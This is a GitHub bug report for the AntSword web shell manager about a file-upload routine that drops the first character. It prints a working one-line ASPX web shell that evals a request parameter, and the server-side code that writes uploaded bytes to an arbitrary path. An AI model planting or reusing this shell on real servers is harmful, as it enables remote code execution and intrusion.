AntSwordProject / antSword

中国蚁剑是一款跨平台的开源网站管理工具。AntSword is a cross-platform website management toolkit.
https://www.yuque.com/antswordproject/antsword
MIT License
3.69k stars 579 forks source link

【bug】文件上传吃掉第一个字符 #260

Closed tuian closed 4 years ago

tuian commented 4 years ago

报告 Bug


Bug 详细描述

aspx一句话上传文件时,会吃掉第一个字符。

比如

echo 123 > 123.txt

上传后,文件变为

23

询问

shell 连接 Bug

  1. 服务端操作系统

  2. 服务端shell代码

  1. 服务端环境配置
//一句话密码为a: 使用默认编码和解码。
<%@ Page Language="Jscript"%><%eval(Request.Item["a"],"unsafe");%>

可能有问题的代码位置

var P:String=System.Text.Encoding.GetEncoding("UTF-8").GetString(System.Convert.FromBase64String(Request.Item["abc1"].substr(2)));

var Z:String=Request.Item["abc2"].substr(2);

var B:byte[]=new byte[Z.Length/2+1];

for(var i=0;i<Z.Length;i+=2){

    B[i/2]=byte(Convert.ToInt32(Z.Substring(i,2),16));

}

var fs:System.IO.FileStream=new System.IO.FileStream(P,System.IO.FileMode.Append);

fs.Write(B,0,B.Length);

fs.Close();

Response.Write("1");
tuian commented 4 years ago

问题得到解决: var Z:String=Request.Item["${arg2}"].substr(#randomPrefix#) 变更为 var Z:String=Request.Item["${arg2}"]